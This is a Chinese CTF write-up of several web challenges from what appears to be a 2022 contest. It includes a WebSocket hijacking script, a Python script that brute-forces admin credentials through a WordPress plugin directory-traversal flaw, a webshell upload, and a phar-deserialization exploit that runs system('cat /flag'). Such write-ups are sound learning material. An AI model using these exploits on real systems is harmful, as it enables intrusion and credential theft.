前言

感觉这次比赛还是挺可惜的,因为在HW嘛,做题的时间比较少,我也只出了两道题,还有缺少其他方向的师傅,不然的话应该进线下了。。下次加油吧!

web

babyweb

题目就一个登录框

用户名用admin,试了几个简单的弱密码进不去,那注册个号,账号也不能是admin

那注册个其他账号先登进去看看:账号用admin2 ,密码用 123

进去过后这个界面

向管理员那个提交漏洞界面那个比较亮眼,随便输入看看回显

明显的CSRF,联想到注册的时候admin账户已经注册过了,这里还有个修改密码的命令,那初步判断应该是让管理员点击某个请求造成CSRF修改他自己的密码,然后就可以用admin登陆了,抓个包看看

upgrade:websocketsec-web socket-key:平时好像没咋见过,Google看到这个:
https://wiki.wgpsec.org/knowledge/web/websocket-sec.html

upgrade:websocket大概意思就是升级为websocket连接,sec-websocket-key:的随机值主要用于防止代理服务器缓存错误,并且不用于身份验证或会话处理目的。,并且这种连接可能存在安全问题,文中讲的挺详细的,就不复述了

那怎么和上面的分析联系起来呢?其实也比较简单,先看这个包检查是否存在安全问题,发现唯一的验证信息session是在cookie中传输的,那多半可以ws劫持了。什么意思呢,这说明了通信的的时候唯一的验证信息session是在cookie中的,那我们让管理员点击一个恶意的JS脚本的话,管理员向服务器请求的过程中同样是带有这个cookie的,也就可以验证,那么在脚本中让管理员执行修改密码的操作就可以了

之前抓包可以看到,服务器有交互说明服务器肯定开了websockt这个配置的,所以在自己的vps上传恶意脚本,让admin(客户端)主动发起请求与服务器建立websocket连接,然后发送执行的命令就可以了

<meta charset="utf-8">
<script>
function ws_attack(){//自定义函数ws_attack
    //定义函数功能
    //创建WebSocket并赋值给ws变量
    var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
    ws.onopen = function(evt) { 
        //当ws(WebSocket)处于连接状态时执行
        ws.send("我是帅key的可爱小迷弟!");
    };
    ws.onmessage = function(evt) {
        //当ws(WebSocket)请求有响应信息时执行
        //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);
        ws.close();
    };
}
ws_attack();//执行ws_attact函数
</script>

WP-UM

题目给了源码,打开环境进去后有个配置的阶段,主要是这两句话

猜测应该是插件漏洞,看他的描述应该是要登陆管理员的后台,告诉了管理员的账号密码放在了根目录下的/username和/password下

并且在源码的文件里就有usernameadminadminpasswordadminadminadmin

刚好满足10位和15位,配置完后进入wordpress主页面,看到有个upload

也要叫先登录,那就先尝试登陆后台吧,用给的文件里的账号密码先试试,一直登不上去,那感觉给的源码中只是个告诉我们怎么看的事例吧(也可能是迷惑我们的?,应该不是根目录下的管理员账号密码。那自己先随便注册个账号密码然后登陆到后台看看

也没有什么发现,源码中看看插件吧,在WP-UM/wordpress/wp-content/plugins/路径看到两个插件,一个akismet,一个user-meta

网上搜一下漏洞,第一个插件只看到个xss的漏洞利用,好像没啥用;看下第二个插件,一搜就搜到个目录遍历的,那没跑了,多半是用他读猫哥的账号密码。看下怎么利用

poc就这一个,大概意思是说:该插件不考证其um_show_uploaded_file AJAX操作的filepath参数,这可能允许低权限用户目录遍历,并且如果响应包含um_remove_file,则该文件存在于服务器上,否则不存在 。

也说了利用方法:作为订阅者,在嵌入了文件上传字段的页面/帖子上提交虚拟图像,拦截请求并更改文件路径参数

想起之前看到个文件上传页面,抓包后随便传个图片,发现客户端好像发了两个包,第二个包有点像poc中的样子,去burp历史里面看看

果然是两个包,第一个包把图片内容传入,返回了上传状态和路径等,那应该是客户端解析了这个回包后,自动发起了第二个包,再看看第二个包

第二个包把文件路径和一些其他信息向服务器发送请求,服务器解析成功后再返回图片显示在客户端,并且第二个包和poc中很像,理解起来也不困难,在第二个包中修改文件路径,如果存在的话,回包就应该可以看到um_remove_file,看一下上传后客户端啥样子

很好理解了,也就是文件存在的话回包中就会看到um_remove_file,对应客户端也就是删除文件Remove按钮了,但是只能看文件存不存在,不能直接看文件名。

然后突然想到既然有返回路径,那直接传个php文件,能解析的话不久直接拿到shell了,再登陆管理员账号密码找flag,传一下试试

被过滤了,算了还是老老实实找密码吧。

根据抓包返回储存图片的路径,结合给的源码目录来看,上传文件的目录应该在WP-UM/wordpress/wp-content/这个目录下,为了验证一下目录能否穿越成功,在源码中看他上层目录下有个index.php

把第二个包放burp里的repeater里面,把filepath改成../index.php

按理说应该会显示um_remove_file,但是没有。。。麻了,在仔细看他修改之前本来发出去的包

他的filepath的开头是/,说明他的后端代码最后应该没有/,举个列子,如果他后端代码是/var/www/html/wp-content,传入filepath=/../upload/zz,拼接后就是/var/www/html/wp-content/../upload/zz;传入filepath=../upload/zz的话,拼接后就是/var/www/html/wp-content../upload/zz,很明显wp-content..这个目录肯定是不存在的,相当于创建了一个新的目录,所以需要多穿一层才可以穿出去,比如../../wp-content/upload/zz,得到/var/www/html/wp-content../../wp-content/upload/zz才可以。所以要回到根目录的话多穿几层以防万一。

重新把包里的filepath改成/../index.php

um_remove_file,说明穿越成功了,但是它只能判断文件是否存在,那意思就是只能爆破文件名看是否存在了。多穿越几次保证回到根目录就行了。按照题目说的账号密码的格式写个python脚本

import requests 
import string
s = string.ascii_letters
url="http://eci-2zefnon2z47ho8r5grw9.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
passwd=''
headers={'Cookie':'wordpress_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7Cefcfb909cd2a9a5d901cc939e9e4d70adba70d8f8328b63b692a8a9a699440f2; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7C7fda55d75fd7e914075e00e1a09991f11074e6744482274415409c3854beba06; wp-settings-time-2=1659263320'}
for i in range(1,16):
    print(i)
    for j in s:
        s=str(i)+j
        r=requests.post(url,data={'field_name':'test',
            'filepath':'/../../../../../../../password/'+s,
            'field_id':'um_field_4',
            'form_key':'Upload',
            'action':'um_show_uploaded_file',
            'pf_nonce':'eaff7e1a60',
            'is_ajax':'true'},headers=headers)
        if "remove" in r.text:
            passwd+=j
            print(passwd)
            break

跑出来的账号是MaoGePaMao,密码是MaoGeYaoQiFeiLa,登陆一下

找了文章这些地方都没找到flag,应该是想办法RCE了;试了一下写文章,但不能解析php代码,有个媒体页面,传不了php

突然想起自己好像是管理员,可以修改上传文件的权限,找到后修改一下

媒体页面还是传不了,也是无权限,想到之前想传php代码但不允许的地方,回到主页面上传一个

点这个访问一下,看解析没

没有问题,再传个马连蚁剑,在蚁剑里面找半天flag没看到,看下dockerfile

flag/secretpath/secretname路径下,靠,根目录下明显没有这个路径嘛,那这只能算个提示了,提示flag应该在两个目录下,还得自己找,最后在/usr/local下找到个文件

打开就是flag

后来看yu师傅博客,感觉自己傻逼了,既然有插件,插件里的php文件是肯定可以解析的,管理员又可以编辑插件,那么直接编辑插件里面的php文件是直接就可以getshell了。关键是源码给了你,路径肯定也知道,随便蚁剑连接就行了。而且既然有管理员权限,拿shell方法也很多,还可以尝试上传调低wp的版本,上传有问题插件getshell也行,虽然没试,但觉得这是种思路,在easylogin里面用到了这种思路

比如这个插件:https://github.com/HoangKien1020/Moodle_RCE

easyweb

这道题由于环境关了,无法复现,但我觉得这道题还挺有意义的,我把相关的大佬连接贴在这吧,结合着一起看应该也挺好懂的。
http://www.ctfiot.com/51539.html
https://blog.csdn.net/weixin_43610673/article/details/126112945?spm=1001.2014.3001.5502
http://blog.leanote.com/post/xp0int/2022-%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%88%9D%E8%B5%9B-Writeup-By-Xp0int#title-6

利用 Session Upload Progress 上传 Session

这个是为了使$_SESSION为真;我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。
https://xz.aliyun.com/t/9545

/proc/net/arp目录

这个主要是记录转储每个网络接口的arp表中dev包的统计,通俗点也就是记录内网中曾经经过这个路由器的ip,也就是可以查看内网一些ip
https://www.cnblogs.com/baiduboy/p/6098226.html

REMOTE_ADDR

HTTP_X_FORWARDED_FORHTTP_CLIENT_IP是可以伪造的,但是REMOTE_ADDR是服务器和客户端握手后建立的tcp连接的数据帧里的,在应用层是无法修改的,当然也并不是绝对无法伪造,不过对于php程序来说,这是底层的东西,无法伪造。
不过在这篇文章里利用其他漏洞结合做了一个修改的方法
https://blog.csdn.net/Zero_Adam/article/details/117667622?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165976899116781790743855%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165976899116781790743855&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-117667622-null-null.142^v39^pc_rank_34_1,185^v2^control&utm_term=lastsward&spm=1018.2226.3001.4187

NSSCTF-1zweb(revenge)

这个由于easyweb无法复现了,刚好nss有一道phar的题,顺便打了一下来学习


贴两个phar反序列化原理的连接吧
https://www.cnblogs.com/wkzb/p/15783434.html
https://icode.best/i/24102747589182


打开环境就一个上传页面

随便输了个名字点查询

有个文件包含,并且直接把我们查询的语句放里面了,读一下etc/passwd

能读,用伪协议file:///var/www/html/index.phpphp://filter/read=convert.base64-encode/resource=index.phpindex.php源码读出来

解码一下

<html>
    <head>
        <title>1zWeb</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </head>
<form action="./" method="post" onsubmit="return enter()" class="form">
    <h2 class="form__title">查询文件</h2>
    <input type="text" placeholder="请输入文件名" name="file" class="input" />
    <button class="btn" type="submit" name="submit">查看</button>
</form>
<form action="./upload.php" enctype="multipart/form-data" method="post">
    <h2 class="form__title">上传文件</h2>
    <input type="file" name="file">
    <button type="submit" name="submit">上传</button>
</form>
</html>
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
        die("nonono");
    }
    echo file_get_contents($file);
}

这个正则防止我们直接file读flag了,不过留了个file_get_contents没做什么处理,明显用phar协议触发反序列化了。在phar文件里构造反序列化链,只不过要执行eval语句,需要绕过wakeup才行,这个把成员属性数目大于实际数目就可以绕过。
这个文章讲了:http://www.yongsheng.site/2022/05/14/phar/

链子基本清晰了。

既然基本确定是phar触发反序列化了,先随便传个文件看看

我传的php,被过滤了,但发现还有个upload页面,同样用伪协议php://filter/read=convert.base64-encode/resource=upload.php把他源码也读出来

<html>
    <head>
        <title>1zWeb</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </head>
</html>
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

白名单限制了后缀只能为那几个,这个可以改后缀,因为phar协议主要检测的是__HALT_COMPILER()是否存在来判断是否执行,而不是后缀;并且检测文件内容不能有__HALT_COMPILER(),这个可以用gzip压缩一次,让他变成不是明文形式绕过,因为phar协议也能解析gzip的文件。
看这个文章讲了:https://blog.csdn.net/q20010619/article/details/120833148

接下来就是构造了,先创建phar文件

<?php

class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    function __construct()
    {
        $this->ljt = 'Misc';
        $this->dky = "Re";
        $this->cmd = "system('cat /flag');";

    }
}

$p = new LoveNss();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后放进010里面把成员属性数目改高来绕过wakeup,这个3改成4就(这里还是不要放记事本里面改了,因为编码不同,很可能最后会出错,放二进制工具里面改基本不会出错)

由于修改了phar文件的内容,所以需要重新签名,放个脚本跑一下就行了

from hashlib import sha1

file = open("test.phar","rb").read()
text = file[:-28]  #读取开始到末尾除签名外内容
last = file[-8:]   #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时Sha1正确了。
open("new.phar","wb").write(new_file)

然后把重新生成的文件用 gzip new.phar命令 压缩一下来绕过__HALT_COMPILER()的检测

再把new.phar.gz后缀改为new.png,来绕过他白名单检测,然后传上去

返回了路径,最后利用file_get_contents包含phar协议访问触发文件反序列化就行了

phar://./upload/new.png

最后

附上大佬博客吧,顺便看一下没出的题:
https://blog.csdn.net/miuzzx/article/details/126076994
https://blog.csdn.net/weixin_43610673/article/details/126112945?spm=1001.2014.3001.5502

还有一些其他的考点,我直接贴链接了

其他考点:

spl_autoload_register配合上传文件的利用

举个例子:
比如有如下代码

<?php 
spl_autoload_register();
$a=new A();

假设我们当前页面没有class A,他就会找a.php或者a.inc。然后包含他们。
所以我们只要上传一个含恶意代码的.inc文件,接着通过反序列化调用以这个文件的前缀为类名的对象即可。
https://blog.csdn.net/miuzzx/article/details/126076994

Proc 目录在 CTF 中的利用以及利用opcache来getshell

https://www.anquanke.com/post/id/241148
https://www.anquanke.com/post/id/83844
https://blog.csdn.net/miuzzx/article/details/126076994

python和golang json解析差异

再解析json时有差异:

python标准库中的JSON解析器,针对重复键,将返回最后一个键值对。

Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对。

强网杯题目那个主要是利用python进行检测值是否合理,然后用go去解析

所以构造类似的payload,让第二个值在他使用python的检测范围内,第一个值看go的相关逻辑输自己想要的值进行攻击就行了。

https://bishopfox.com/blog/json-interoperability-vulnerabilities
https://blog.csdn.net/weixin_43610673/article/details/126112945?spm=1001.2014.3001.5502

负载均衡

什么是负载均衡

SLB(Server Load Balancer)(负载均衡服务器)
https://zhuanlan.zhihu.com/p/32841479

b站崩溃原因

https://news.mydrivers.com/1/846/846774.htm